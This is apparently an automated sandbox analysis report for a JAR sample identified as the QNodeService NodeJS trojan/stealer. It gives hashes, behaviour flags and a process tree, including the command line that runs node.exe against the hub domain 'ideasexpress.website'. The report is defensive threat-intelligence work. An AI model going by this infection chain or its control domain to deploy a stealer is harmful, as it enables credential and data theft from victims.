qnodeservice | 0944b4a447e409d6b9af31421bddaa58484b70203c429945570ec533842be635

Analysis

Target

review.delivery.information.jar
Size

82KB
MD5

f787589c52802370ce0a71033afbf356
SHA1

0e6ded18abbcc8b36ffbb649b0bc24f9624f86dd
SHA256

0944b4a447e409d6b9af31421bddaa58484b70203c429945570ec533842be635
SHA512

429b9bfd2973283f40998218b0d17b231b915e2a2a58d13fe33402e911541a7f0ee54829305cfbdcdeab7e435ce65999a538f5bb40eaa2f69e56a64bcd6bc936

Score

10^/10

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 1 IoCs

pid	Process
3524	node.exe

JavaScript code in executable 1 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab74-165.dat	js

Suspicious behavior: EnumeratesProcesses 4 IoCs

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 508 wrote to memory of 2652	508	java.exe	76
PID 508 wrote to memory of 2652	508	java.exe	76
PID 2652 wrote to memory of 3524	2652	javaw.exe	80
PID 2652 wrote to memory of 3524	2652	javaw.exe	80

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\review.delivery.information.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:508
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\4c7d09dc.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2652
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain ideasexpress.website
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3524

memory/3524-166-0x00000217A8A80000-0x00000217A8A81000-memory.dmp

Filesize
4KB

Download